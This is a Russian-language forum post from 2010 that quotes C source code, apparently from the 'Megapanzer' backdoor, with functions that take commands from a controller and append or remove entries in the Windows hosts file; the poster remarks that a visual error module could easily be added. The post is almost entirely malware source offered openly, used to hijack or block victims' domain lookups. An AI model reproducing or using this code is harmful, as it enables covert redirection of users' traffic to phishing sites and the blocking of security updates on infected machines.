Показать сообщение отдельно

  #6  
Старый 26.05.2010, 20:20
Besi
Участник форума
Регистрация: 03.11.2009
Сообщений: 102
Провел на форуме:
1319431

Репутация: 22
По умолчанию

Цитата:
#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include "Megapanzer_Definitions.h"




DWORD WINAPI addHostsEntry(PVOID pParameter)
{
int lRetVal = 0;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
char lTemp2[MAX_BUF_SIZE + 1];
char *lTempPointer = NULL;
DWORD dwWritten = 0;
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;


if (lCommandStructure->sCommandString != NULL)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "\r\n%s", lCommandStructure->sCommandString);

if ((lFileHandle = CreateFile(HOSTS_FILE, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
SetFilePointer(lFileHandle,0,0,FILE_END);
WriteFile(lFileHandle, lTemp, strlen(lTemp), &dwWritten, NULL);
CloseHandle(lFileHandle);
}
}

return(lRetVal);
}





DWORD WINAPI removeHostsEntry(PVOID pParameter)
{
int lRetVal = 1;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
char lReadBuffer[MAX_BUF_SIZE + 1];
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
FILE *lFileOldHostsHandle = NULL;
FILE *lFileNewHostsHandle = NULL;

if (lCommandStructure != NULL && lCommandStructure->sCommandString != NULL)
{
if ((lFileOldHostsHandle = fopen(HOSTS_FILE, "r")) != NULL)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);

if ((lFileNewHostsHandle = fopen(lTemp, "w")) != NULL)
{
while (!feof(lFileOldHostsHandle))
{
ZeroMemory(lReadBuffer, sizeof(lReadBuffer));

if (fgets(lReadBuffer, sizeof(lReadBuffer) - 1, lFileOldHostsHandle) > 0)
{
if (strstr(lReadBuffer, lCommandStructure->sCommandString) == NULL)
fprintf(lFileNewHostsHandle, lReadBuffer);
else
lRetVal = 0;
}
}
fclose(lFileNewHostsHandle);
}
fclose(lFileOldHostsHandle);
}
}


END:

if (lRetVal == 0)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);
DeleteFile(HOSTS_FILE);
MoveFile(lTemp, HOSTS_FILE);
}

return(lRetVal);
}
думаю визуальный модуль с ошыбкой не сложно пишпандёрить
 
Ответить с цитированием